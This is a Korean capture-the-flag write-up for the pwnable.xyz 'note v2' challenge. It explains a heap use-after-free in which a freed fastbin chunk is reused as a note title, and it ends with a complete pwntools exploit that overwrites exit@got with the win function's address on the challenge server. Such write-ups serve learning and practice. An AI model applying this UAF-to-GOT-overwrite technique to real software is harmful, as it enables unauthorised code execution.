[pwnable.xyz] note v2
Pwn/pwnable.xyz

[pwnable.xyz] note v2

반응형
문제 풀이 환경 : Ubuntu 16.04

UAF

📝 Analysis


<< Mitigation >>

<< Code >>

· make_note

이번 문제의 핵심이 되는 함수다.

vuln이라고 주석을 달아놓은 곳이 문제인데, malloc을 새로 할당해주려고 하지만 이미 값이 있다면 그냥 그 값을 써버 린다는 점이다. 즉 UAF 취약점이다.

malloc과 free에 의한 동작을 정확히 알고 있다면 이번 문제는 쉽다.

 

· delete_note

이 함수는 희한하게 title 부분의 청크는 해제하지 않고 note 내용이 있는 청크만 해제한다.

malloc 할당시 title 청크를 조작해줄 수 있는 여지를 제공해준 것이나 마찬가지다.

 

▶ 나머지 함수는 딱히 필요하지 않다.

 

✨ Thinking


먼저 할당하는 구조를 살펴보자.

free로 아무 청크도 해제하지 않고 계속 할당한다고 했을 때 저런 구조로 계속 아래로 쌓일 것이다.

 

현재 아래와 같은 상황이라고 가정하자.

처음 할당할 때 note의 size를 0x28만큼 주고 두번째 할당할 때에도 동일하게 주었다.

두 번째 할당한 이유는 현재 빨간색으로 표시한 0번 인덱스의 note가 해제되고 나서 top chunk에 병합되는 것을 방지하기 위해서다.

그러고 나서 0번 인덱스를 해제해주면 다음과 같은 상태가 된다. (보라색 칠한 거 free 되어서 fast bin에 들어간 상태를 표시한 것임.)

그리고 이렇게 note size를 아무렇게나 주면 title은 malloc이 free된 chunk 중 같은 size를 찾을 테니 0번째에서 쓰던 데이터가 초기화되지 않은 청크의 주소를 반환받아서 쓰게 된다.

이렇게 UAF가 발생하고, 

위와 같은 chunk 구조 때문에 0번째 인덱스 때 note의 값을 줄 때, note pointer가 값을 입력할 수 있는 곳으로 써놓는다.

그럼 title 할당하고 새로운 note를 할당하지 않고 저기 있는 값을 주소로 보고 그곳의 값을 수정하게 될 것이다!

 

🧩 Exploit Scenario 


1) 2번 할당. 이때 처음 할당하는 note의 size는 무조건 0x28이어야 한다.

  더하여 note의 값은 값을 수정해서 이용할 수 있는 곳을 고른다.

  GOT Overwrite 할건데 got 아무거나 골라도 상관없다. 부를 수 있는 거면 된다.

  (나는 그냥 exit@got 골랐다. 솔직히 다른 거 했어도 됐는데 글 쓰면서 깨달았다. ㅋㅋ)

2) 0번 인덱스를 free해서 fast bin에 들어가게 한다.

3) 다시 할당해서 title이 note pointer 값 수정할 때 win 함수의 주소를 넣어준다.

  내 경우는 exit@got = win function addr. 이렇게 된다.

  이후 1분 기다리면 win 함수 call 된다.

 

🚩 Flag 🚩


from pwn import *

# p = process('./note_v2')
p = remote('svc.pwnable.xyz', 30030)
e = ELF('./note_v2')

def make(size, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b'title: ', b'A')
    p.sendafter(b'note: ', data)
    
def edit(idx, data):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'#: ', str(idx).encode())
    p.sendafter(b': ', data)
    
def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'#: ', str(idx))
    

make(0x28, b'A' * 0x20 + p64(e.got['exit'])[:-1])  # 0
make(0x28, b'B' * 0x27)                            # 1
delete(0)
make(0x9, p64(e.sym['win']))                       # 1
p.interactive()

 

반응형